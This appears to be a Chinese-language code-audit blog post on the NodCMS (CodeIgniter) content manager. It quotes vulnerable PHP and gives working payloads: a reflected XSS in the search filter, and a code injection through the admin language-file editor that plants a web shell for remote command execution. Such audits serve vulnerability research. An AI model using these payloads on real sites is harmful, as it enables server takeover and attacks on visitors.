php codeigniter nodcms 代码审计

概述

CMS代码审计还未入门,然后CI框架学的还不行,代码审计一脸懵逼。

前台

反射型XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function search($lang)
{
$this->preset($lang);
$search_text = isset($_GET["filter"])?str_replace("'","",$this->input->get("filter")):""; //把单引号去掉
if($search_text!=""){
$search = explode("_",$search_text);
if(count($search)!=""){
$limit = 20;
if(isset($_GET["offset"]) && is_numeric($_GET["offset"])){
$offset = $_GET["offset"];
}else{
$offset = 0;
}
$this->data['data'] = $this->NodCMS_general_model->searchExtension($search,$limit,$offset);
}
$this->data['search_word']=str_replace("_"," ",$search_text);
$this->data['text_search']=$search;
$this->data['text_replace']=array_map(function($value){ return "<strong>".$value."</strong>"; },$search);
}else{
$this->data['data'] = array();
}
$this->data['title']=str_replace("_"," ",$search_text); //把下划线替换为空格,并没有进行XSS过滤,直接打印出来,形成xss
if(isset($_GET["ajax"])){
echo $this->load->view($this->mainTemplate.'/search_ajax',$this->data,true);
}else{
$this->data['content']=$this->load->view($this->mainTemplate.'/search',$this->data,true);
$this->load->view($this->mainTemplate,$this->data,'');
}
}

这里,只是去掉了单引号、下划线虽然难以进行sql注入攻击,但是XSS还是可以的。

1
payload为:http://localhost:8000/en/search?filter=des</title><script>alert(1)</script>

后台

php 代码注入

位置是修改语言的地方,其中一个URL为http://localhost:8000/admin/edit_lang_file/1/en。

先看截图:
nodcms1

然后上关键代码,关键地方打上注释了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
function edit_lang_file($id,$file_name)
{
$this->data['data']=$this->NodCMS_general_admin_model->get_language_detail($id);
if($this->data['data']==null || !file_exists(getcwd().'/nodcms/language/'.$this->data['data']['language_name'].'/'.$file_name.'_lang.php')){
$this->session->set_flashdata('error', _l('URL-Request was not exists!',$this));
redirect(base_url()."admin/language");
}
$this->load->library('Get_lang_in_array');
$CI = new Get_lang_in_array(); //实例化Get_lang_in_array()函数
$this->data['lang_list'] = $CI->load($file_name,$this->data['data']['language_name']); //加载en_lang.php
if(count($this->data['lang_list'])==0){
$defaultLangFileName = strlen($file_name)==2?$_SESSION['language']['code']:$file_name;
$this->data['lang_list'] = $CI->load($defaultLangFileName,$_SESSION['language']['language_name']);
}
if(isset($_POST['data'])){
if ($this->session->userdata['group']==1) {
$post_data = $this->input->post('data'); //直接获取post值
$i=0;
$fileContent = "<?php\n";
foreach ($this->data['lang_list'] as $key=>&$val) {
$fileContent .= '$lang["'.$key.'"] = "'.$post_data[$i].'";'."\n"; //拼接代码
$val = $post_data[$i];
$i++;
}
$file = getcwd().'/nodcms/language/'.$this->data['data']['language_name'].'/'.$file_name.'_lang.php';
if(file_exists($file)){
file_put_contents($file, $fileContent); // 把代码写入文件
}
$this->session->set_flashdata('success', _l('Edit language file successfully!',$this));
redirect(base_url()."admin/edit_lang_file/".$id.'/'.$file_name);
}else{
$this->session->set_flashdata('error', _l('This request is just fore real admin.',$this));
redirect(base_url()."admin/language");
}
}
$this->data['file_name'] = $file_name;
$this->data['languages']=$this->NodCMS_general_admin_model->get_all_language();
$this->data['title'] = _l("Edit language file",$this);
$this->data['page'] = "edit lang file";
$this->data['content']=$this->load->view($this->mainTemplate.'/language_edit_file',$this->data,true);
$this->load->view($this->mainTemplate,$this->data);
}
function load($langfile = '', $idiom = '', $return = FALSE, $add_suffix = TRUE, $alt_path = '') {
$langfile = str_replace('.php', '', $langfile);
if ($add_suffix == TRUE) {
$langfile = str_replace('_lang.', '', $langfile) . '_lang';
}
$langfile .= '.php';
if (in_array($langfile, $this->is_loaded, TRUE)) {
return;
}
$config = & get_config();
if ($idiom == '') {
$deft_lang = (!isset($config['language'])) ? 'english' : $config['language'];
$idiom = ($deft_lang == '') ? 'english' : $deft_lang;
}
if ($alt_path != '' && file_exists($alt_path . 'language/' . $idiom . '/' . $langfile)) {
include($alt_path . 'language/' . $idiom . '/' . $langfile);
} else {
$found = FALSE;
foreach (get_instance()->load->get_package_paths(TRUE) as $package_path) {
if (file_exists($package_path . 'language/' . $idiom . '/' . $langfile)) {
include($package_path . 'language/' . $idiom . '/' . $langfile);
$found = TRUE;
break;
}
}
if ($found !== TRUE) {
show_error('Unable to load the requested language file: language/' . $idiom . '/' . $langfile);
}
}
if (!isset($lang)) {
log_message('error', 'Language file contains no data: language/' . $idiom . '/' . $langfile);
return;
}
if ($return == TRUE) {
return $lang;
}
$this->is_loaded[] = $langfile; //加载 en_lang.php文件,即执行代码。
$this->language = array();
$this->language = $lang;
return $this->language;
unset($lang);
log_message('debug', 'Language file loaded: language/' . $idiom . '/' . $langfile);
return TRUE;
}

代码比较复杂,加上对CI框架不是很了解,看的比较久。
由于这里没有对post提交的参数进行任何的字符过滤,直接进行拼接,然后保存到文件。之后重新请求时,实例化了Get_lang_in_array()这个函数,而这个函数主要加载了en_lang.php这个文件,也就是执行了这个文件,形成代码注入,从而gershell。

1
payload为:All"; file_put_contents('shell.php', '<?php $_GET[a]($_GET[b]);?>');;$t="111

shell.php文件会生成在根目录下,连菜刀就可以了。

存储型XSS

和前台差不多,没有过滤就存入了数据库,造成XSS。